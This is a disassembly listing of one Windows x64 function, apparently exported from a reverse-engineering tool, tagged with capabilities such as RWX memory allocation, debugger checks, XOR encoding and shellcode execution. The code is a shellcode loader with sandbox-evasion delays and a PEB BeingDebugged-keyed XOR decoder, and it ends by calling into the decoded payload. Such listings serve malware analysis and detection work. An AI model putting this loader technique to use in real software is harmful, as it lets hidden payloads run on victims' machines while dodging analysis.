Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Encode data using xor
Execute shellcode via indirect call
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x598
movaps xmmword [rsp + 0x580], xmm6
movabs rsi, 0xfe624e212ac18000
lea r12, [rsp + 0xf0]
mov rcx, r12
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
mov r8, qword [rsp + 0xf0]
add r8, rsi
mov r10, r8
mov r9, r8
mov ecx, 0x64
mov rax, r8
imul rcx
mov rcx, rdx
sar r9, 0x3f
movabs rdx, 0xcb923a29c779a6b5
mov rax, r8
imul rdx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0xb
add rdx, rax
mov qword [rsp + 0xd8], rdx
shr rcx, 0x3f
movabs rax, 0x25460aa64c2f837b
imul r10, rax
movabs r11, 0x4a2339c0ebedfa44
mov rax, r8
mul r11
add rdx, r10
imul r9, r11
add r9, rdx
movabs rdx, 0xa6d698fe69270b00
add rax, rdx
movabs rdx, 0x218def416bdb1
adc r9, rdx
mov rdx, r9
shrd rdx, rax, 6
shld r9, rax, 0x3a
xor ebp, ebp
movabs rax, 0x8d36b4c7f3493859
cmp r9, rax
movabs rax, 0x10c6f7a0b5ed
sbb rdx, rax
mov eax, 0
cmovae rax, rcx
mov qword [rsp + 0xd0], rax
lea rdx, [0x00421038]
lea rcx, [rsp + 0xf0]
mov r8d, 0x170
call fcn.0041cf90
mov esi, 1
lea r15, [rsp + 0x48]
lea rbx, [rsp + 0xb0]
lea r13, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
xorps xmm6, xmm6
jmp 0x401159
mov rsi, qword [rsp + 0xc8]
add rsi, 1
lea rbx, [rsp + 0xb0]
lea r15, [rsp + 0x48]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0xb0], r15
mov qword [rsp + 0x30], rbx
lea rax, [0x00402ed0]
mov qword [rsp + 0x38], rax
movabs rax, 0x21646c726f5720
mov qword [rsp + 0x55], rax
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x004216c8]
lea r9, [rsp + 0x30]
call fcn.00403a90
test ax, ax
jne 0x401259
mov r8d, 0x41
mov rdx, rsi
cmp rsi, 0x64
movabs r10, 0x28f5c28f5c28f5c3
jb 0x401214
mov rcx, rsi
nop dword [rax]
mov rax, rcx
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r13 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x4011e0
cmp rdx, 9
ja 0x401228
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x401238
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x004216c8]
lea r9, [rsp + 0x30]
call fcn.00403a90
mov r14, qword [rsp + 0x5d8]
test bpl, bpl
jne 0x4016e5
mov rdi, qword [rsp + 0x48]
test rdi, rdi
je 0x401290
mov rcx, r12
mov rdx, rdi
xor r8d, r8d
mov r9, r14
call fcn.00402280
test rax, rax
jne 0x401297
jmp 0x4016e5
mov rax, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xb0], r15
lea rax, [0x00402ef0]
mov qword [rsp + 0xb8], rax
movabs rax, 0x21646c726f5720
mov qword [rsp + 0x55], rax
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea r15, [rsp + 0x50]
mov rcx, r15
lea r8, [0x004216c8]
mov r9, rbx
call fcn.00403a90
mov r8d, 0x41
mov rdx, rsi
cmp rsi, 0x64
movabs r10, 0x28f5c28f5c28f5c3
jb 0x401364
mov rcx, rsi
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rax, rcx
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r13 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401330
cmp rdx, 9
ja 0x401380
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x401390
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x004216c8]
mov r9, rbx
call fcn.00403a90
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
movups xmm0, xmmword [0x00421538]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x00421528]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x00421518]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [0x00421508]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x004214f8]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x004214e8]
movaps xmmword [rsp + 0x50], xmm0
cmp rdi, 0x40
mov qword [rsp + 0xc8], rsi
jae 0x401420
xor ecx, ecx
xor eax, eax
jmp 0x401454
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
mov rsi, rax
lea rdx, [rbx + rax]
mov rcx, r15
call fcn.00402f80
lea rax, [rsi + 0x40]
sub rsi, 0xffffffffffffff80
cmp rsi, rdi
jbe 0x401430
movzx ecx, byte [rsp + 0xa8]
lea rdx, [rbx + rax]
mov r15, rdi
sub r15, rax
lea rsi, [rsp + 0x68]
add rcx, rsi
mov r8, r15
call fcn.0041cf90
movzx eax, byte [rsp + 0xa8]
movzx edx, r15b
add rdx, rax
mov byte [rsp + 0xa8], dl
add qword [rsp + 0x50], rdi
lea rcx, [rsi + rdx]
mov r8d, 0x40
sub r8, rdx
xor edx, edx
call fcn.0041d2f0
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + rax + 0x68], 0x80
movzx eax, byte [rsp + 0xa8]
lea ecx, [rax + 1]
mov byte [rsp + 0xa8], cl
cmp al, 0x38
lea r15, [rsp + 0x50]
jb 0x4014e3
mov rcx, r15
mov rdx, rsi
call fcn.00402f80
movups xmmword [rsi + 0x20], xmm6
movups xmmword [rsi + 0x10], xmm6
movups xmmword [rsi], xmm6
mov qword [rsi + 0x30], 0
mov rax, qword [rsp + 0x50]
mov ecx, eax
shr ecx, 5
lea edx, [rax*8]
mov byte [rsp + 0xa0], dl
mov byte [rsp + 0xa1], cl
mov ecx, eax
shr ecx, 0xd
mov byte [rsp + 0xa2], cl
mov ecx, eax
shr ecx, 0x15
mov byte [rsp + 0xa3], cl
mov rcx, rax
shr rcx, 0x1d
mov byte [rsp + 0xa4], cl
mov rcx, rax
shr rcx, 0x25
mov byte [rsp + 0xa5], cl
mov rcx, rax
shr rcx, 0x2d
mov byte [rsp + 0xa6], cl
shr rax, 0x35
mov byte [rsp + 0xa7], al
mov rcx, r15
mov rdx, rsi
call fcn.00402f80
movups xmm0, xmmword [rsi - 0x10]
movaps xmmword [rsp + 0x260], xmm0
test bpl, bpl
jne 0x4016a7
mov edx, 0x20
mov rcx, r12
xor r8d, r8d
mov r9, r14
call fcn.00402280
test rax, rax
je 0x4016a7
mov r15, rax
mov qword [rsp + 0xc0], r14
mov r14, r13
xor r12d, r12d
xor r13d, r13d
movzx eax, byte [rsp + r13 + 0x260]
mov ecx, eax
shr ecx, 4
lea rdx, str.0123456789abcdef
movzx ecx, byte [rcx + rdx]
mov byte [rsp + 0x50], cl
and eax, 0xf
movzx eax, byte [rax + rdx]
mov byte [rsp + 0x51], al
xor esi, esi
nop dword [rax]
cmp r12, 0x1f
ja 0x401620
mov eax, 2
sub rax, rsi
lea rdx, [rsp + rsi]
add rdx, 0x50
mov ebp, 0x20
sub rbp, r12
cmp rbp, rax
cmovae rbp, rax
lea rcx, [r15 + r12]
mov r8, rbp
call fcn.0041cf90
add r12, rbp
add rsi, rbp
cmp rsi, 2
jne 0x4015d0
add r13, 1
cmp r13, 0x10
jne 0x40159f
jmp 0x401620
lea rax, str.00000
cmp r15, rax
mov r13, r14
mov ebp, 0
je 0x40189c
cmp dword [r15], 0x30303030
jne 0x40164f
cmp dword [r15 + 1], 0x30303030
je 0x40189c
mov rsi, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0xf0]
mov rdx, r15
mov r8, r12
mov r12, rcx
xor r9d, r9d
call fcn.00402890
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
je 0x401140
mov qword [rsp + 0x20], rsi
mov rcx, r12
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.00402890
jmp 0x401140
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
jne 0x40179f
mov rdx, qword [rsp + 0x220]
test rdx, rdx
jne 0x4017cb
mov rdx, qword [rsp + 0x240]
test rdx, rdx
jne 0x401840
jmp 0x40186a
mov rdx, qword [rsp + 0x220]
test rdx, rdx
je 0x401754
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x40173d
mov rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x220], 0
mov dword [rsp + 0x22c], 0
mov rdx, qword [rsp + 0x240]
test rdx, rdx
je 0x40186a
nop word cs:[rax + rax]
nop
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x230]
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401770
jmp 0x40186a
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xf0]
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.00402890
mov rdx, qword [rsp + 0x220]
test rdx, rdx
je 0x4016cf
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401816
mov rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x220], 0
mov dword [rsp + 0x22c], 0
mov rdx, qword [rsp + 0x240]
test rdx, rdx
je 0x40186a
nop word [rax + rax]
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x230]
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401840
lea rax, str.OutOfMemory
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0xb
lea rcx, [rsp + 0xe0]
call fcn.00402020
mov ecx, 1
call sub.ntdll.dll_RtlExitUserProcess
lea rcx, [0x00425010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x30], rax
lea rbp, [0x00402bb0]
mov qword [rsp + 0x38], rbp
mov r8d, 0x41
mov r10, qword [rsp + 0xc8]
cmp r10, 0x64
mov r14, qword [rsp + 0xc0]
jb 0x401946
movabs r9, 0x28f5c28f5c28f5c3
nop word cs:[rax + rax]
nop
mov rax, r10
shr rax, 2
mul r9
shr rdx, 2
imul rax, rdx, 0x64
mov rcx, r10
sub rcx, rax
movzx eax, word [r13 + rcx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp r10, 0x270f
mov r10, rdx
ja 0x401910
jmp 0x401949
mov rdx, r10
cmp rdx, 9
ja 0x40195d
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x40196d
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x004216c8]
lea rsi, [rsp + 0x30]
mov r9, rsi
call fcn.00403a90
lea rcx, [0x00425010]
call fcn.00420530
test r12, r12
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r15, rax
jne 0x401c2c
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
jne 0x401c5e
mov rdx, qword [rsp + 0x220]
test rdx, rdx
jne 0x401c8a
mov rdx, qword [rsp + 0x240]
test rdx, rdx
je 0x401a1a
nop dword [rax]
mov rdi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x230]
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rdi
test rdi, rdi
jne 0x4019f0
lea rdi, [rsp + 0xf0]
mov rcx, rdi
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
movabs r10, 0xfe624e212ac18000
add r10, qword [rsp + 0xf0]
mov r9, r10
mov ecx, 0x64
mov rax, r10
imul rcx
mov rcx, rdx
movabs rdx, 0x346dc5d63886594b
mov rax, r10
imul rdx
mov r8, rdx
sar r9, 0x3f
mov rax, rdx
shr rax, 0x3f
sar r8, 0xb
add r8, rax
sar rcx, 0x3f
movabs r11, 0x25460aa64c2f837b
imul r11, r10
mov rax, r10
movabs r10, 0x4a2339c0ebedfa44
mul r10
add rdx, r11
imul r9, r10
add r9, rdx
movabs rdx, 0xa6d698fe69270b00
add rax, rdx
movabs rdx, 0x218def416bdb1
adc r9, rdx
mov rdx, r9
shrd rdx, rax, 6
shld r9, rax, 0x3a
xor r15d, r15d
movabs rax, 0x8d36b4c7f3493859
cmp r9, rax
movabs rax, 0x10c6f7a0b5ed
sbb rdx, rax
cmovb rcx, r15
mov r9, qword [rsp + 0xd0]
add r9, qword [rsp + 0xd8]
add r9, r8
add r9, rcx
movabs rcx, 0x20c49ba5e353f7cf
mov rax, r9
imul rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 7
add rdx, rax
mov r14, r9
sar r14, 0x3f
movabs rax, 0x1cac083126e978d5
imul rax, r9
movabs rcx, 0x10624dd2f1a9fb8
add rcx, rax
ror rcx, 3
movabs rax, 0x4189374bc6a7ef
cmp rcx, rax
cmovb r14, r15
add r14, rdx
lea rcx, [0x00425010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbp
lea rbx, str.fake_sleep_taskes__seconds._n
nop dword [rax + rax]
lea rdx, [rbx + r15]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x12
sub r8d, r15d
mov qword [rsp + 0x20], 0
mov r9, rdi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401dbd
mov eax, dword [rsp + 0xf0]
add r15, rax
cmp r15, 0x12
jne 0x401b90
mov rcx, r14
neg rcx
cmovs rcx, r14
mov r8d, 0x41
cmp rcx, 0x64
jb 0x401d02
movabs r10, 0x28f5c28f5c28f5c3
nop
mov rax, rcx
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r13 + r9*2]
mov word [rsp + r8 + 0xee], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401bf0
jmp 0x401d05
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xf0]
mov rdx, r15
mov r8, r12
xor r9d, r9d
call fcn.00402890
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
je 0x4019cb
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xf0]
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.00402890
mov rdx, qword [rsp + 0x220]
test rdx, rdx
je 0x4019dc
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401cd5
mov rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x220], 0
mov dword [rsp + 0x22c], 0
mov rdx, qword [rsp + 0x240]
test rdx, rdx
jne 0x4019f0
jmp 0x401a1a
mov rdx, rcx
cmp rdx, 9
ja 0x401d1c
or dl, 0x30
mov byte [rsp + r8 + 0xef], dl
add r8, 0xffffffffffffffff
jmp 0x401d2f
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0xee], ax
add r8, 0xfffffffffffffffe
test r14, r14
jns 0x401d41
mov byte [rsp + r8 + 0xef], 0x2d
add r8, 0xffffffffffffffff
lea rcx, [rsp + r8]
add rcx, 0xf0
mov edx, 0x41
sub rdx, r8
lea r8, [0x004216c8]
lea r9, [rsp + 0x50]
call fcn.00403a90
test ax, ax
jne 0x401dc2
xor r14d, r14d
lea rdi, [rsp + 0xf0]
nop word cs:[rax + rax]
nop
lea rdx, [r14 + rbx]
add rdx, 0x14
mov rcx, qword [rsp + 0x30]
mov r8d, 0xa
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rdi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401dbd
mov eax, dword [rsp + 0xf0]
add r14, rax
cmp r14, 0xa
jne 0x401d80
jmp 0x401dc2
call sub.KERNEL32.dll_GetLastError
lea rcx, [0x00425010]
call fcn.00420530
mov ecx, 0xea60
call sub.KERNEL32.dll_Sleep
xor ebx, ebx
mov edx, 0x3e8
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov rdi, rax
lea rcx, [rsp + 0x27e]
mov r8d, 0x2f2
xor edx, edx
call fcn.0041d2f0
lea rax, [0x004211cd]
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rbx + rax]
xor cl, bl
mov rdx, qword gs:[0x30]
mov rdx, qword [rdx + 0x60]
movzx edx, byte [rdx + 2]
add dl, 0x99
xor dl, cl
mov byte [rsp + rbx + 0x27e], dl
add rbx, 1
cmp rbx, 0x2f2
jne 0x401e20
lea rdx, [rsp + 0x27e]
mov r8d, 0x2f2
mov rcx, rdi
call fcn.0041cf90
lea rcx, [0x00425010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbp
xor r14d, r14d
lea rbx, str.VirtualAlloc_pointer:__n
lea rsi, [rsp + 0xf0]
nop dword [rax + rax]
lea rdx, [rbx + r14]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x16
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rsi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401ffd
mov eax, dword [rsp + 0xf0]
add r14, rax
cmp r14, 0x16
jne 0x401eb0
xor r14d, r14d
lea r15, [0x004216c4]
lea rsi, [rsp + 0xf0]
nop dword [rax]
lea rdx, [r15 + r14]
mov rcx, qword [rsp + 0x30]
mov r8d, 3
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rsi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401ffd
mov eax, dword [rsp + 0xf0]
add r14, rax
cmp r14, 3
jne 0x401f00
xor edx, edx
mov rcx, rdi
mov rax, rdi
nop word cs:[rax + rax]
nop dword [rax]
mov r8d, ecx
and r8b, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
mov byte [rsp + rdx + 0x130], r9b
shr rax, 4
add rdx, 0xffffffffffffffff
cmp rcx, 0xf
mov rcx, rax
ja 0x401f50
lea rcx, [rsp + rdx]
add rcx, 0x131
neg rdx
lea r8, [0x004216c8]
lea r9, [rsp + 0x50]
call fcn.00403a90
test ax, ax
jne 0x402002
xor r14d, r14d
lea rsi, [rsp + 0xf0]
nop word [rax + rax]
lea rdx, [r14 + rbx]
add rdx, 0x19
mov rcx, qword [rsp + 0x30]
mov r8d, 1
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rsi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401ffd
mov eax, dword [rsp + 0xf0]
add r14, rax
cmp r14, 1
jne 0x401fc0
jmp 0x402002
call sub.KERNEL32.dll_GetLastError
lea rcx, [0x00425010]
call fcn.00420530
call rdi
xor ecx, ecx
call sub.ntdll.dll_RtlExitUserProcess
int3